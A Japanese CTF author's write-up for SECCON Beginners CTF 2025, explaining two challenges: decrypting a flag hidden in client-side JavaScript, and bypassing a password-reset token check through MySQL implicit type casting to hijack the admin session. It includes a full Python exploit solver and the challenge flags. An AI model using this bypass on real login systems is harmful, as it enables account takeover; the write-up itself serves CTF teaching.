今年も参加いただきありがとうございました。この2問を作問しました。
- [misc] kingyo_sukui
- [web] login4b
今年こそは for beginners になるよう全体的に心がけて作問・レビューを行いました。
また、他の作問者のwriteupは以下の通りです。
- yuasaさん: https://melonattacker.github.io/posts/51/
- JUCKさん: https://zenn.dev/juck28/articles/64c6bdca67376e
- Yu_212さん: https://yu212.hatenablog.com/entry/2025/07/27/163347
- Kuonruriさん: https://blog.kuonruri.org/seccon-beginners-ctf-2025-writeup
- kotokazeさん: https://gist.github.com/kotokaze/dc39dbb7dbe4dec389358eefc4abcd10
- shioさん: https://gist.github.com/shiosa1t/f0e051aba5613efc504a5385072dc43e
[misc] kingyo_sukui (100pt / 644 solves)
金魚に見立てたフラグを集めるゲームです。正しい順序でフラグの各文字を選択すると、選択したフラグが正しいかどうかがわかります。
解法
普通にやってもクリアできないので、JavaScript のソースコードを閲覧します。開発者ツールからソースコードを閲覧すると、script.js
というファイルがあります。
このファイルでは金魚すくいゲームのソースコードが書かれていますが、フラグはこのように暗号化されています。
this.encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM=";
this.secretKey = "a2luZ3lvZmxhZzIwMjU=";
また、暗号化されたフラグを復号するソースコードも存在します。
decryptFlag() {
try {
const key = atob(this.secretKey);
const encryptedBytes = atob(this.encryptedFlag);
let decrypted = "";
for (let i = 0; i < encryptedBytes.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
const encryptedChar = encryptedBytes.charCodeAt(i);
decrypted += String.fromCharCode(encryptedChar ^ keyChar);
}
return decrypted;
} catch (error) {
return "decrypt error";
}
}
この関数を利用すると、フラグが取れそうです。this.secretKey
やthis.encryptedFlag
の部分を書き換えて、復号関数を実行します。
// changed
function decryptFlag(encryptedFlag, secretKey) {
try {
const key = atob(secretKey); // changed
const encryptedBytes = atob(encryptedFlag); // changed
let decrypted = "";
for (let i = 0; i < encryptedBytes.length; i++) {
const keyChar = key.charCodeAt(i % key.length);
const encryptedChar = encryptedBytes.charCodeAt(i);
decrypted += String.fromCharCode(encryptedChar ^ keyChar);
}
return decrypted;
} catch (error) {
return "decrypt error";
}
}
const encryptedFlag = "CB0IUxsUCFhWEl9RBUAZWBM=";
const secretKey = "a2luZ3lvZmxhZzIwMjU=";
console.log(decryptFlag(encryptedFlag, secretKey));
これを開発者ツールのコンソール機能や、Node.js などを用いて実行すると、フラグが手に入ります。
ctf4b{n47uma7ur1}
[web] login4b (420pt / 102 solves)
login, register, reset password ができるサービスで、admin でログインしたらフラグが表示されます。
app.get("/api/get_flag", (req: Request, res: Response) => {
if (!req.session.userId) {
return res.status(401).json({ error: "Not authenticated" });
}
if (req.session.username === "admin") {
res.json({ flag: process.env.FLAG || "ctf4B{**REDACTED**}" });
} else {
res.json({ message: "Hello user! Only admin can see the flag." });
}
});
解法
session を偽造したりすることは基本的に難しいので、他の方法で admin のセッション情報を取得することを目指します。そこで、/api/reset-password
に着目すると、パスワードリセット機能が実装されておらず、代わりにリセットが成功したユーザのセッション情報を返しています。これを利用して、admin のセッション情報を取得します。
// TODO: implement
// await db.updatePasswordByUsername(username, newPassword);
// TODO: remove this
const user = await db.findUser(username);
if (!user) {
return res.status(401).json({ error: "Invalid username" });
}
req.session.userId = user.userid;
req.session.username = user.username;
しかし、パスワードリセットを成功させるには、リセットトークンを用意し、リクエストボディに入れる必要があります。リセットトークンは/api/reset-request
で生成されますが、ユーザに返されることはありません(本来はメールなどで送信されますが、この機能も未実装になっています)。
パスワードリセット機能のリセットトークンの検証をバイパスすることを目指します。リセットトークンの検証はdb.validateResetTokenByUsername
関数で行われています。
async validateResetTokenByUsername(
username: string,
token: string
): Promise<boolean> {
await this.initialized;
const [rows] = (await this.pool.execute(
"SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
[username, token]
)) as [any[], mysql.FieldPacket[]];
return rows[0].count > 0;
}
db.validateResetTokenByUsername
関数ではusername
とtoken
を用いて、users
テーブルのreset_token
が一致するカラムがあるかどうかを確認しています。
また、token
はこのように生成されています。
async generateResetToken(userid: number): Promise<string> {
await this.initialized;
const timestamp = Math.floor(Date.now() / 1000);
const token = `${timestamp}_${uuidv4()}`;
await this.pool.execute(
"UPDATE users SET reset_token = ? WHERE userid = ?",
[token, userid]
);
return token;
}
つまり、token
のフォーマットはtimestamp_uuid
となっています。
ここで、mysql の暗黙的な型キャストによる仕様を利用します。少し非自明かもしれませんが、MySQL では以下のような挙動をします。
SELECT "1234567890_53cr37_t0k3n" = 1234567890; # => true
token
の先頭の値はtimestamp
となっているので、timestamp
を推測することができれば、token
を作成することができます。timestamp
はgenerateResetToken
関数が実行されたタイミングなので、
validateResetTokenByUsername
関数を実行する直前で、generateResetToken
関数を実行すればtoken
を推測することができます。
Solver
# 注意: ネットワーク環境によってはこのsolverが動かないことがあります。その場合は'token': int(time.time())の値を調整してください。
import requests
import time
ENDPOINT = 'http://login4b.challenges.beginners.seccon.jp'
headers = {
'Accept': '*/*',
'Content-Type': 'application/json',
}
data = {
'username': 'admin',
'token': int(time.time()),
'newPassword': 'testtesttest'
}
print("token:", data['token'])
response = requests.post( f'{ENDPOINT}/api/reset-request', headers=headers, json=data)
response = requests.post( f'{ENDPOINT}/api/reset-password', headers=headers, json=data)
if response.status_code == 200:
session_cookies = response.cookies.get_dict()
print("Session Cookies:", session_cookies)
flag_response = requests.get(f'{ENDPOINT}/api/get_flag', cookies=session_cookies)
if flag_response.status_code == 200:
print("Flag Response:", flag_response.text)
else:
print("Failed to retrieve flag:", flag_response.status_code)
else:
print("Failed to reset password:", response.status_code)